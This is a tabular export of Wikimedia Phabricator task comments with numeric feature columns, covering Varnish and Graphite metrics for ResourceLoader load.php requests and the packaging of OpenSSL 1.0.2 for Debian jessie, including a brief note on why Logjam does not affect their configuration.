For flexibility and to easily discover different max-ages, I'd recommend we set those as properties directly (as long the above pattern matches). These can only be set by MediaWiki anyway (ResourceLoader doesn't support reflected [s]maxage query parameters).",,,1436397865,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,0,True,0.5,0.0,0.0,1.0,1.5,6.0,0.5,0.0,0.0,0.5,1.5,2.5,0.0,0.5,0.0,3.5,0.5,6.0,8.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.0,1.0,1.5,5.0,1.5,0.0,0.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,17.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.5,1.5,0.0,0.0,0.0,4.0,1.5,10.5,1.0,2.5,7.0,0.0,0.0,0.0,0.5,4.5,0.0,0.5,0.0,3.5,8.0,4.5,0.0,5.0,0.0,3.5,0.0,0.5,1.5,0.0,2.5,0.5,0.0,0.5,4.064115762983299,0.7275223061084419,"ForSCREEN_NAME's #1 wishlist item I'd recommend we fragment the existing metrics by an additional layer. I don't think we need separately kept metrics. We can maintain the current higher-level overviews by using a wildcard to skip/sum this intermediate level.

CODE becomes CODE.
CODE becomes CODE

Where ""version""/""noversion"" is based on the load.php url containing CODE.

And ""maxage"" is the max-age value of a header matching CODE. And ""other"" for private stuff like ""Cache-Control: private"" (used by debug mode) and in theory any fringe responses using additional options like ""no-store"", or if max-age values don't match.

For flexibility and to easily discover different max-ages, I'd recommend we set those as properties directly (as long the above pattern matches). These can only be set by MediaWiki anyway (ResourceLoader doesn't support reflected [s]maxage query parameters)."
489036,Collect HTTP statistics about load.php requests,"For @Catrope's #1 wishlist item I'd recommend we fragment the existing metrics by an additional layer. I don't think we need separately kept metrics. We can maintain the current higher-level overviews by using a wildcard to skip/sum this intermediate level.

`ResourceLoader.reqs.{all,if_none_match}` becomes `ResourceLoader.reqs.{version,noversion}.*`.
`ResourceLoader.resps.{httpStatus}` becomes `ResourceLoader.resps.{maxage,other}.*`

Where ""version""/""noversion"" is based on the load.php containing `&version=`.

And ""maxage"" is the max-age value of a header matching `Cache-Control: public, max-age=X, s-maxage=X`. And ""other"" for private stuff like ""Cache-Control: private"" (used by debug mode) and in theory any fringe responses using additional options like ""no-store"", or if max-age values don't match.

For flexibility and to easily discover different max-ages, I'd recommend we set those as properties directly (as long the above pattern matches). These can only be set by MediaWiki anyway (ResourceLoader doesn't support reflected [s]maxage query parameters).",,,1436397856,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,0,True,0.5,0.0,0.0,1.0,1.5,5.5,0.5,0.0,0.0,0.5,1.5,2.5,0.0,0.5,0.0,3.5,0.5,6.0,8.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.0,1.0,1.0,5.0,1.5,0.0,0.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,17.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.5,1.5,0.0,0.0,0.0,4.0,1.5,10.5,1.0,2.5,7.0,0.0,0.0,0.0,0.5,4.5,0.0,1.0,0.0,3.5,8.0,4.5,0.0,5.0,0.0,3.5,0.0,0.5,1.5,0.0,2.5,0.5,0.0,0.5,4.06989247311828,0.7258064516129032,"ForSCREEN_NAME's #1 wishlist item I'd recommend we fragment the existing metrics by an additional layer. I don't think we need separately kept metrics. We can maintain the current higher-level overviews by using a wildcard to skip/sum this intermediate level.

CODE becomes CODE.
CODE becomes CODE

Where ""version""/""noversion"" is based on the load.php containing CODE.

And ""maxage"" is the max-age value of a header matching CODE. And ""other"" for private stuff like ""Cache-Control: private"" (used by debug mode) and in theory any fringe responses using additional options like ""no-store"", or if max-age values don't match.

For flexibility and to easily discover different max-ages, I'd recommend we set those as properties directly (as long the above pattern matches). These can only be set by MediaWiki anyway (ResourceLoader doesn't support reflected [s]maxage query parameters)."
489035,Collect HTTP statistics about load.php requests,"For @Catrope's #1 wishlist item I'd recommend we fragment the existing metrics by an additional layer. I don't think we need separately kept metrics. We can maintain the current higher-level overviews by using a wildcard to skip/sum this intermediate level.

`ResourceLoader.reqs.{all,if_none_match}` becomes `ResourceLoader.reqs.{version,noversion}.*`.
`ResourceLoader.resps.{httpStatus}` becomes `ResourceLoader.resps.{maxage,other}.*`

Where ""maxage"" is the max-age value of a header matching `Cache-Control: public, max-age=X, s-maxage=X`. And ""other"" for private stuff like ""Cache-Control: private"" (used by debug mode) and in theory any fringe responses using additional options like ""no-store"", or if max-age values don't match.

For flexibility and to easily discover different max-ages, I'd recommend we set those as properties directly (as long the above pattern matches). These can only be set by MediaWiki anyway (ResourceLoader doesn't support reflected [s]maxage query parameters).",,,1436397814,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,0,True,0.5,0.0,0.0,0.5,1.5,6.0,0.5,0.0,0.0,0.5,1.5,2.5,0.0,0.5,0.0,3.5,0.0,6.0,7.5,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.0,1.0,1.0,4.5,1.5,0.0,0.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,17.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.5,1.5,0.0,0.0,0.0,3.5,1.0,9.5,1.0,2.0,7.0,0.0,0.0,0.0,0.5,5.0,0.0,0.5,0.0,3.5,7.5,4.5,0.0,4.0,0.0,3.5,0.0,0.5,1.5,0.0,2.0,0.5,0.0,0.5,4.02345629510826,0.7632317562149158,"ForSCREEN_NAME's #1 wishlist item I'd recommend we fragment the existing metrics by an additional layer. I don't think we need separately kept metrics. We can maintain the current higher-level overviews by using a wildcard to skip/sum this intermediate level.

CODE becomes CODE.
CODE becomes CODE

Where ""maxage"" is the max-age value of a header matching CODE. And ""other"" for private stuff like ""Cache-Control: private"" (used by debug mode) and in theory any fringe responses using additional options like ""no-store"", or if max-age values don't match.

For flexibility and to easily discover different max-ages, I'd recommend we set those as properties directly (as long the above pattern matches). These can only be set by MediaWiki anyway (ResourceLoader doesn't support reflected [s]maxage query parameters)."
489027,Collect HTTP statistics about load.php requests,"As requested by @ori and @Krinkle, here's my wishlist of statistics to collect:

1. Collect # of requests/responses for each value of the `Cache-Control` (CC) header
2. Graph INM rates and 304 rates separately for short/long CC expiries
3. Collect request data (total # and INM %) and response data (total # and 304%) for traffic between the backend Varnishes and the Apaches

#1: We expect only two different values to occur for the `Cache-Control` header (for 2XX/304 responses): `Cache-Control: public, max-age=300, s-maxage=300` (""short"") and `Cache-Control: public, max-age=2592000, s-maxage=2592000` (""long""). It would be interesting to see how many requests/responses are cacheable for a short vs long period of time, and it would also be interesting to validate whether these two values are indeed the only ones that occur in the wild (barring error/redirect responses). For requests, the value of the `Cache-Control` header in the corresponding response might not be available; in that case the presence/absence of the `&version=` parameter could be used as a proxy (long if present, short if absent). As an extension to this, we could also consider separating startup and non-startup requests (`&modules=startup`).

#2: It stands to reason that the traffic graphs we've built so far (total # of reqs, INM %, total # of responses, 304 %, INM satisfaction %) should be significantly different between short-cache and long-cache requests/responses. Graphing these rates separately for each category would let us identify whether this is true and what these differences look like. If our beliefs are correct and the two categories are very different, then the pattern that we're currently seeing is really the sum of two unknown patterns with unknown weights, and so our current graphs might not even be that meaningful. (Again, if CC response headers aren't available for requests, then we can use `&version=` as a proxy.)

#3: Our current request/response graphs are only about the traffic between clients and the frontend Varnishes. This tells us about the clients' perspective, which is ultimately what matters. So this tells us a lot about how the system performs but not as much about why it performs that way. If we collect and graph the same data for the traffic between the backend Varnishes and the Apaches, we'll be able to see how well Varnish is performing (the shape of backend traffic should be different from frontend traffic, and there are particular patterns I expect to see there). We'll also be able to graph cache hit rates without relying on `X-Cache` or other unreliable things in Varnish.

Things I would expect/hope to see:
* I expect only two CC values to occur
* I don't know what I should expect for short vs long in terms of relative volume; my gut says short will have greater volume, but I'm not sure
* I expect most of the INM/304 traffic to be for short-expiry requests
* If @Krinkle's theory about cache churn (T102578) is correct, we should see close to zero INM/304 traffic for long-expiry requests
* I expect more INM/304 traffic and a higher satisfaction rate on the backend
* I hope for relatively low request volume on the backend, and very very low volume for long-expiry requests
* In other words, I expect most of the backend traffic to be 304s for startup and other unversioned things
* I expect to see differences in patterns for long and short expiries on the frontend but little difference on the backend

",,,1436397047,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,0,True,0.5714285714285714,0.0,0.42857142857142855,0.14285714285714285,0.8571428571428571,10.142857142857142,2.5714285714285716,0.0,0.0,0.7142857142857143,1.8571428571428572,1.1428571428571428,0.0,0.5714285714285714,0.14285714285714285,4.0,0.2857142857142857,6.428571428571429,12.0,0.0,1.7142857142857142,0.5714285714285714,0.0,0.0,0.14285714285714285,0.42857142857142855,0.0,0.14285714285714285,0.7142857142857143,1.0,0.0,5.0,3.0,0.5714285714285714,0.14285714285714285,0.0,0.0,0.14285714285714285,0.14285714285714285,1.8571428571428572,0.0,0.0,0.14285714285714285,0.42857142857142855,0.0,1.4285714285714286,0.2857142857142857,0.14285714285714285,0.14285714285714285,19.714285714285715,0.5714285714285714,0.8571428571428571,0.14285714285714285,0.7142857142857143,0.0,0.0,0.0,0.0,1.0,0.14285714285714285,0.0,1.0,0.0,0.0,0.14285714285714285,0.14285714285714285,0.42857142857142855,5.142857142857143,3.2857142857142856,8.428571428571429,1.7142857142857142,3.4285714285714284,6.857142857142857,0.0,0.0,0.0,1.1428571428571428,4.714285714285714,0.0,2.142857142857143,0.0,4.571428571428571,12.0,2.7142857142857144,0.0,0.7142857142857143,0.0,4.571428571428571,0.0,1.4285714285714286,0.8571428571428571,0.42857142857142855,0.8571428571428571,0.42857142857142855,0.2857142857142857,0.14285714285714285,3.971370851370852,0.6643434343434345,"As requested bySCREEN_NAME andSCREEN_NAME, here's my wishlist of statistics to collect:

1. Collect # of requests/responses for each value of the CODE (CC) header
2. Graph INM rates and 304 rates separately for short/long CC expiries
3. Collect request data (total # and INM %) and response data (total # and 304%) for traffic between the backend Varnishes and the Apaches

#1: We expect only two different values to occur for the CODE header (for 2XX/304 responses): CODE (""short"") and CODE (""long""). It would be interesting to see how many requests/responses are cacheable for a short vs long period of time, and it would also be interesting to validate whether these two values are indeed the only ones that occur in the wild (barring error/redirect responses). For requests, the value of the CODE header in the corresponding response might not be available; in that case the presence/absence of the CODE parameter could be used as a proxy (long if present, short if absent). As an extension to this, we could also consider separating startup and non-startup requests (CODE).

#2: It stands to reason that the traffic graphs we've built so far (total # of reqs, INM %, total # of responses, 304 %, INM satisfaction %) should be significantly different between short-cache and long-cache requests/responses. Graphing these rates separately for each category would let us identify whether this is true and what these differences look like. If our beliefs are correct and the two categories are very different, then the pattern that we're currently seeing is really the sum of two unknown patterns with unknown weights, and so our current graphs might not even be that meaningful. (Again, if CC response headers aren't available for requests, then we can use CODE as a proxy.)

#3: Our current request/response graphs are only about the traffic between clients and the frontend Varnishes. This tells us about the clients' perspective, which is ultimately what matters. So this tells us a lot about how the system performs but not as much about why it performs that way. If we collect and graph the same data for the traffic between the backend Varnishes and the Apaches, we'll be able to see how well Varnish is performing (the shape of backend traffic should be different from frontend traffic, and there are particular patterns I expect to see there). We'll also be able to graph cache hit rates without relying on CODE or other unreliable things in Varnish.

Things I would expect/hope to see:
* I expect only two CC values to occur
* I don't know what I should expect for short vs long in terms of relative volume; my gut says short will have greater volume, but I'm not sure
* I expect most of the INM/304 traffic to be for short-expiry requests
* IfSCREEN_NAME's theory about cache churn (T102578) is correct, we should see close to zero INM/304 traffic for long-expiry requests
* I expect more INM/304 traffic and a higher satisfaction rate on the backend
* I hope for relatively low request volume on the backend, and very very low volume for long-expiry requests
* In other words, I expect most of the backend traffic to be 304s for startup and other unversioned things
* I expect to see differences in patterns for long and short expiries on the frontend but little difference on the backend

"
488548,Collect HTTP statistics about load.php requests,">>! In T104277#1432643, @ori wrote:
> What issues?

Mainly two things observed:
* A (high) presence of HTTP 204 responses. Several million, peaking throughout the day. I don't see how these can come from ResourceLoader.
* (H/T @catrope) There are more 304 responses than If-None-Match requests. Something doesn't add up.

This should be fixed now by @ori's patch:
> Fix request-matching logic in varnishrls
> https://gerrit.wikimedia.org/r/223522

https://grafana.wikimedia.org/#/dashboard/db/resourceloader

Before:
{F190300}

After:
{F190301}",,,1436354083,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,0,True,1.0,1.0,0.0,1.0,2.0,3.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,7.0,6.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,2.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,2.0,2.0,24.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,0.0,1.0,6.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,3.5625,0.7083333333333334,"QUOTE
QUOTE

Mainly two things observed:
* A (high) presence of HTTP 204 responses. Several million, peaking throughout the day. I don't see how these can come from ResourceLoader.
* (H/TSCREEN_NAME) There are more 304 responses than If-None-Match requests. Something doesn't add up.

This should be fixed now bySCREEN_NAME's patch:
QUOTE
QUOTE

URL

Before:
{F190300}

After:
{F190301}"
488547,Collect HTTP statistics about load.php requests,,,,1436353537,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
487725,Collect HTTP statistics about load.php requests,,,,1436246449,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
487641,Collect HTTP statistics about load.php requests,">>! In T104277#1432304, @Krinkle wrote:
> We ran into some issues with the metrics. Re-opening as reminder to investigate and address.

What issues?",,,1436230785,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,0.8571428571428571,"QUOTE
QUOTE

What issues?"
487513,Collect HTTP statistics about load.php requests,We ran into some issues with the metrics. Re-opening as reminder to investigate and address.,,,1436220181,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,0,True,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,26.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,37.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,26.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.105263157894737,0.9473684210526315,We ran into some issues with the metrics. Re-opening as reminder to investigate and address.
485881,Collect HTTP statistics about load.php requests,This is in the process of rolling out to all Varnishes. It should propagate everywhere within the next 20 minutes. The Graphite metric hierarchy has the prefix ResourceLoader.*; the rest should be self-explanatory.,,,1435871745,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,0,True,2.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,5.0,15.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,12.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.439024390243903,0.8292682926829268,This is in the process of rolling out to all Varnishes. It should propagate everywhere within the next 20 minutes. The Graphite metric hierarchy has the prefix ResourceLoader.*; the rest should be self-explanatory.
485869,Collect HTTP statistics about load.php requests,"Change 222371 merged by Ori.livneh:
Add varnish stats reporter for ResourceLoader requests

[[https://gerrit.wikimedia.org/r/222371]]",,,1435869941,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.8,0.9,"Change 222371 merged by Ori.livneh:
Add varnish stats reporter for ResourceLoader requests

[[GERRIT_URL]]"
485772,Collect HTTP statistics about load.php requests,"Change 222371 had a related patch set uploaded (by Ori.livneh):
Add varnish stats reporter for ResourceLoader requests

[[https://gerrit.wikimedia.org/r/222371]]
",,,1435862752,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.444444444444445,0.8888888888888888,"Change 222371 had a related patch set uploaded (by Ori.livneh):
Add varnish stats reporter for ResourceLoader requests

[[GERRIT_URL]]
"
104143,openssl 1.0.2 packaging for jessie,"We need to switch to openssl 1.0.2 on jessie in support of multiple certs for ECDSA in the short term, and regardless of that we're going to need it by later this year to start trying out HTTP/2 + ALPN.

It's currently [[ https://packages.debian.org/stretch/openssl | available in Stretch ]], and I've installed the stretch binary packages straight onto a jessie test host without issue, but we'd want to rebuild for any real deployment.

Aside from the basic re-build on jessie, I think there's one extra patch we should consider, and one security non-issue that should at least be mentioned here:

 - **Patch** - We could patch in [[ https://github.com/cloudflare/sslconfig/blob/master/patches/openssl__chacha20_poly1305_cf.patch | a high-perf implementation of chacha20poly1305 from Cloudflare ]].  Supposedly this is a secure option for reducing mobile CPU usage (and thus slowness) and is supported by at least some Android 5 devices.  Deciding whether to include this patch would be separate from actually turning on support for it in our cipher list, but I think we may as well add the patch to give ourselves the option and then we can make the ciphersuite decision afterwards.  Cloudflare's general blog post on the topic: https://blog.cloudflare.com/do-the-chacha-better-mobile-performance-with-cryptography/

 - **Sec Non-Issue** According to [[ https://security-tracker.debian.org/tracker/source-package/openssl | Debian's Security Tracker ]], the Stretch 1.0.2c-1 package lacks fixes for [[ https://security-tracker.debian.org/tracker/CVE-2015-4000 | CVE-2015-4000 / Logjam ]] which our jessie 1.0.1 package already has.  I bring this up mostly because if I didn't, someone else probably would, but I don't think we need to patch for this:
    1. we're not enabling DHE or export-grade ciphers in our server configs, so we're not generally vulnerable to this in the first place due to our configuration, regardless of the code-level issue.
    2. openssl-1.0.2 already limits the attack further by setting minimum key sizes for DHE and EC.  Even if we did for some unfathomable reason turn DHE_EXPORT ciphers on, the downgrade would be limited to 768-bit rather than the 512-bit possible with unpatched 1.0.1.",Medium,50.0,1435522095,1435783333.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-mflsvd7ub7fvyve43xva,task_description,resolved,True,c3,2,True,True,True,-1,True,0.6,0.2,0.0,0.6,0.8,5.0,0.4,0.2,0.0,0.4,1.8,1.4,0.0,0.0,0.2,4.6,0.0,6.2,12.0,0.2,1.4,0.4,0.0,0.0,0.4,0.2,0.0,0.0,0.6,0.8,0.0,3.8,1.2,0.6,0.4,0.0,0.0,0.2,0.2,0.2,0.0,0.0,0.4,1.6,0.2,0.2,0.0,0.2,0.0,11.4,0.4,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.2,0.0,0.4,0.6,0.0,0.6,0.0,0.2,0.0,3.4,1.0,8.4,1.0,2.4,5.8,0.0,0.0,0.0,0.0,3.8,0.0,2.0,0.0,5.2,12.0,6.2,0.0,0.0,0.0,5.2,0.0,0.4,0.6,0.2,1.6,0.0,0.4,1.2,3.8445347786811204,0.7922011442336645,"We need to switch to openssl 1.0.2 on jessie in support of multiple certs for ECDSA in the short term, and regardless of that we're going to need it by later this year to start trying out HTTP/2 + ALPN.

It's currently [[ URL | available in Stretch ]], and I've installed the stretch binary packages straight onto a jessie test host without issue, but we'd want to rebuild for any real deployment.

Aside from the basic re-build on jessie, I think there's one extra patch we should consider, and one security non-issue that should at least be mentioned here:

 - **Patch** - We could patch in [[ URL | a high-perf implementation of chacha20poly1305 from Cloudflare ]].  Supposedly this is a secure option for reducing mobile CPU usage (and thus slowness) and is supported by at least some Android 5 devices.  Deciding whether to include this patch would be separate from actually turning on support for it in our cipher list, but I think we may as well add the patch to give ourselves the option and then we can make the ciphersuite decision afterwards.  Cloudflare's general blog post on the topic: URL

 - **Sec Non-Issue** According to [[ URL | Debian's Security Tracker ]], the Stretch 1.0.2c-1 package lacks fixes for [[ URL | CVE-2015-4000 / Logjam ]] which our jessie 1.0.1 package already has.  I bring this up mostly because if I didn't, someone else probably would, but I don't think we need to patch for this:
    1. we're not enabling DHE or export-grade ciphers in our server configs, so we're not generally vulnerable to this in the first place due to our configuration, regardless of the code-level issue.
    2. openssl-1.0.2 already limits the attack further by setting minimum key sizes for DHE and EC.  Even if we did for some unfathomable reason turn DHE_EXPORT ciphers on, the downgrade would be limited to 768-bit rather than the 512-bit possible with unpatched 1.0.1."
578430,openssl 1.0.2 packaging for jessie,">>! In T104143#1877286, @Remware wrote:
> My question was related to standard Debian, thanks for the answer, I hope your are pushing upstream at some point...

jessie will stick with 1.0.1, the update to 1.0.2 was requested by the OpenSSL maintainer during the freeze, but declined by the release managers: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=767661",,,1450092543,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-mflsvd7ub7fvyve43xva,task_subcomment,,True,c3,3,True,,,23,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,12.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.34375,0.8125,"QUOTE
QUOTE

jessie will stick with 1.0.1, the update to 1.0.2 was requested by the OpenSSL maintainer during the freeze, but declined by the release managers: URL"
578429,openssl 1.0.2 packaging for jessie,"My question was related to standard Debian, thanks for the answer, I hope your are pushing upstream at some point...",,,1450092286,,PHID-USER-3rlfi3mnvi7zx76ucrz2,False,,,PHID-TASK-mflsvd7ub7fvyve43xva,task_subcomment,,True,c3,3,False,,,23,True,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,13.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,4.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.217391304347826,0.9565217391304348,"My question was related to standard Debian, thanks for the answer, I hope your are pushing upstream at some point..."
